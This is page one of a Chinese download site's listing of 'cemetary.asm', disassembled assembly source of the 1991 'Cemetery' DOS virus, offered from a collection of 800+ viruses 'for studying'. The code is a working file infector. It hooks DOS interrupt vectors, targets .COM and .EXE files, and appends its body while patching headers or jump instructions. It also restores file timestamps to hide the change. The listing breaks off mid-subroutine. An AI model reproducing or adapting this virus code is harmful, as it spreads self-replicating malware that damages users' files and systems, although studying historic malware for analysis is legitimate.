⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 cemetary.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
📖 第 1 页 / 共 2 页
字号:
  
PAGE  60,132
  
;圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹
;圹								         圹
;圹			        CEMETERY			         圹
;圹								         圹
;圹      Created:   4-Mar-91					         圹
;圹								         圹
;圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹
  
data_1e		equ	4Ch				; (0000:004C=31h)
data_2e		equ	4Eh				; (0000:004E=70h)
data_3e		equ	70h				; (0000:0070=0FF33h)
data_4e		equ	72h				; (0000:0072=0F000h)
data_5e		equ	84h				; (0000:0084=0E3h)
data_6e		equ	86h				; (0000:0086=161Ah)
data_7e		equ	90h				; (0000:0090=8Eh)
data_8e		equ	92h				; (0000:0092=1498h)
data_9e		equ	102h				; (0000:0102=0CC00h)
data_10e	equ	106h				; (0000:0106=326h)
data_11e	equ	450h				; (0000:0450=184Fh)
data_12e	equ	46Ch				; (0000:046C=0C4BCh)
data_13e	equ	46Eh				; (0000:046E=10h)
data_14e	equ	47Bh				; (0000:047B=0)
data_15e	equ	0				; (0326:0000=6A7h)
data_16e	equ	2				; (0326:0002=70h)
data_17e	equ	0				; (0687:0000=81h)
data_18e	equ	1				; (0688:0001=0FF17h)
data_19e	equ	2				; (06E3:0002=2342h)
data_20e	equ	6				; (06E3:0006=2344h)
data_46e	equ	0FBF0h				; (701E:FBF0=0)
data_47e	equ	0FBF2h				; (701E:FBF2=0)
data_48e	equ	0FC10h				; (701E:FC10=0)
data_49e	equ	0FC12h				; (701E:FC12=0)
data_50e	equ	0FC14h				; (701E:FC14=0)
data_51e	equ	0FC1Eh				; (701E:FC1E=0)
data_52e	equ	0FC20h				; (701E:FC20=0)
data_53e	equ	0FC26h				; (701E:FC26=0)
data_54e	equ	0FC28h				; (701E:FC28=0)
  
code_seg_a	segment
		assume	cs:code_seg_a, ds:code_seg_a
  
  
		org	100h
  
cemetery	proc	far
  
start:
data_21		dw	0CE9h
data_22		dw	0C304h
		db	23 dup (0C3h)
		db	'CEMETERY'
data_24		dw	0C3C3h
data_25		dw	0C3C3h
data_26		dw	0
data_27		dw	0
data_28		dw	0
data_29		dw	0
data_30		dw	0
data_31		dd	00000h
data_32		dw	0
data_33		dw	0
data_34		dd	00000h
data_35		dw	0
data_36		dw	0
		db	68h, 0E8h, 55h, 3, 90h, 3Dh
		db	4Dh, 4Bh, 75h, 9, 55h, 8Bh
		db	0ECh, 83h, 66h, 6, 0FEh, 5Dh
		db	0CFh, 80h, 0FCh, 4Bh, 74h, 12h
		db	3Dh, 0, 3Dh, 74h, 0Dh, 3Dh
		db	0, 6Ch, 75h, 5, 80h, 0FBh
		db	0, 74h, 3
loc_1:
		jmp	loc_13
loc_2:
		push	es
		push	ds
		push	di
		push	si
		push	bp
		push	dx
		push	cx
		push	bx
		push	ax
		call	sub_6
		call	sub_7
		cmp	ax,6C00h
		jne	loc_3				; Jump if not equal
		mov	dx,si
loc_3:
		mov	cx,80h
		mov	si,dx
  
locloop_4:
		inc	si
		mov	al,[si]
		or	al,al				; Zero ?
		loopnz	locloop_4			; Loop if zf=0, cx>0
  
		sub	si,2
		cmp	word ptr [si],4D4Fh
		je	loc_7				; Jump if equal
		cmp	word ptr [si],4558h
		je	loc_6				; Jump if equal
loc_5:
		jmp	short loc_12
		db	90h
loc_6:
		cmp	word ptr [si-2],452Eh
		nop
		jz	loc_8				; Jump if zero
		jmp	short loc_5
loc_7:
		cmp	word ptr [si-2],432Eh
		jne	loc_5				; Jump if not equal
		cmp	word ptr [si-4],444Eh
		jne	loc_5				; Jump if not equal
loc_8:
		mov	ax,3D02h
		call	sub_5
		jc	loc_12				; Jump if carry Set
		mov	bx,ax
		mov	ax,5700h
		call	sub_5
		mov	cs:data_27,cx			; (701E:0129=0)
		mov	cs:data_28,dx			; (701E:012B=0)
		mov	ax,4200h
		xor	cx,cx				; Zero register
		xor	dx,dx				; Zero register
		call	sub_5
		push	cs
		pop	ds
		mov	dx,103h
		mov	si,dx
		mov	cx,18h
		mov	ah,3Fh				; '?'
		call	sub_5
		jc	loc_10				; Jump if carry Set
		cmp	word ptr [si],5A4Dh
		jne	loc_9				; Jump if not equal
		call	sub_1
		jmp	short loc_10
loc_9:
		call	sub_4
loc_10:
		jc	loc_11				; Jump if carry Set
		mov	ax,5701h
		mov	cx,cs:data_27			; (701E:0129=0)
		mov	dx,cs:data_28			; (701E:012B=0)
		call	sub_5
loc_11:
		mov	ah,3Eh				; '>'
		call	sub_5
loc_12:
		call	sub_7
		pop	ax
		pop	bx
		pop	cx
		pop	dx
		pop	bp
		pop	si
		pop	di
		pop	ds
		pop	es
loc_13:
		jmp	cs:data_31			; (701E:0131=0)
  
cemetery	endp
  
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
  
sub_1		proc	near
		mov	cx,[si+16h]
		add	cx,[si+8]
		mov	ax,10h
		mul	cx				; dx:ax = reg * ax
		add	ax,[si+14h]
		adc	dx,0
		push	dx
		push	ax
		mov	ax,4202h
		xor	cx,cx				; Zero register
		xor	dx,dx				; Zero register
		call	sub_5
		cmp	dx,0
		jne	loc_14				; Jump if not equal
		cmp	ax,589h
		jae	loc_14				; Jump if above or =
		pop	ax
		pop	dx
		stc					; Set carry flag
		ret
loc_14:
		mov	di,ax
		mov	bp,dx
		pop	cx
		sub	ax,cx
		pop	cx
		sbb	dx,cx
		cmp	word ptr [si+0Ch],0
		je	loc_ret_17			; Jump if equal
		cmp	dx,0
		jne	loc_15				; Jump if not equal
		cmp	ax,589h
		jne	loc_15				; Jump if not equal
		stc					; Set carry flag
		ret
loc_15:
		mov	dx,bp
		mov	ax,di
		push	dx
		push	ax
		add	ax,589h
		adc	dx,0
		mov	cx,200h
		div	cx				; ax,dx rem=dx:ax/reg
		les	di,dword ptr [si+2]		; Load 32 bit ptr
		mov	cs:data_29,di			; (701E:012D=0)
		mov	cs:data_30,es			; (701E:012F=0)
		mov	[si+2],dx
		cmp	dx,0
		je	loc_16				; Jump if equal
		inc	ax
loc_16:
		mov	[si+4],ax
		pop	ax
		pop	dx
		call	sub_2
		sub	ax,[si+8]
		les	di,dword ptr [si+14h]		; Load 32 bit ptr
		mov	data_24,di			; (701E:0123=0C3C3h)
		mov	data_25,es			; (701E:0125=0C3C3h)
		mov	[si+14h],dx
		mov	[si+16h],ax
		mov	word ptr data_26,ax		; (701E:0127=0)
		mov	ax,4202h
		xor	cx,cx				; Zero register
		xor	dx,dx				; Zero register
		call	sub_5
		call	sub_3
		jc	loc_ret_17			; Jump if carry Set
		mov	ax,4200h
		xor	cx,cx				; Zero register
		xor	dx,dx				; Zero register
		call	sub_5
		mov	ah,40h				; '@'
		mov	dx,si
		mov	cx,18h
		call	sub_5
  
loc_ret_17:
		ret
sub_1		endp
  
  
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
  
sub_2		proc	near
		mov	cx,4
		mov	di,ax
		and	di,0Fh
  
locloop_18:
		shr	dx,1				; Shift w/zeros fill
		rcr	ax,1				; Rotate thru carry
		loop	locloop_18			; Loop if cx > 0
  
		mov	dx,di
		ret
sub_2		endp
  
  
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
  
sub_3		proc	near
		mov	ah,40h				; '@'
		mov	cx,589h
		mov	dx,100h
		call	sub_6
		jmp	short loc_22
		db	90h
  
;哌哌 External Entry into Subroutine 哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
  
sub_4:
		mov	ax,4202h
		xor	cx,cx				; Zero register
		xor	dx,dx				; Zero register
		call	sub_5
		cmp	ax,589h
		jb	loc_ret_21			; Jump if below
		cmp	ax,0FA00h
		jae	loc_ret_21			; Jump if above or =
		push	ax
		cmp	byte ptr [si],0E9h
		jne	loc_19				; Jump if not equal
		sub	ax,58Ch
		cmp	ax,[si+1]
		jne	loc_19				; Jump if not equal
		pop	ax
		stc					; Set carry flag
		ret
loc_19:
		call	sub_3
		jnc	loc_20				; Jump if carry=0
		pop	ax
		ret
loc_20:
		mov	ax,4200h
		xor	cx,cx				; Zero register
		xor	dx,dx				; Zero register
		call	sub_5
		pop	ax
		sub	ax,3
		mov	dx,123h
		mov	si,dx
		mov	byte ptr cs:[si],0E9h
		mov	cs:[si+1],ax
		mov	ah,40h				; '@'
		mov	cx,3
		call	sub_5
  
loc_ret_21:
		ret
sub_3		endp
  
  
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
  
sub_5		proc	near
loc_22:
		pushf					; Push flags
		call	cs:data_31			; (701E:0131=0)
		ret
sub_5		endp
  
  
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
  
sub_6		proc	near
		push	ax
		push	ds
		push	es
		xor	ax,ax				; Zero register
		push	ax
		pop	ds
		cli					; Disable interrupts
		les	ax,dword ptr ds:data_7e		; (0000:0090=18Eh) Load 32 bit ptr
		mov	cs:data_32,ax			; (701E:0135=0)
		mov	cs:data_33,es			; (701E:0137=0)
		mov	ax,3ABh
		mov	ds:data_7e,ax			; (0000:0090=18Eh)
		mov	ds:data_8e,cs			; (0000:0092=1498h)
		les	ax,dword ptr ds:data_1e		; (0000:004C=831h) Load 32 bit ptr
		mov	cs:data_35,ax			; (701E:013D=0)
		mov	cs:data_36,es			; (701E:013F=0)
		les	ax,cs:data_34			; (701E:0139=0) Load 32 bit ptr

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -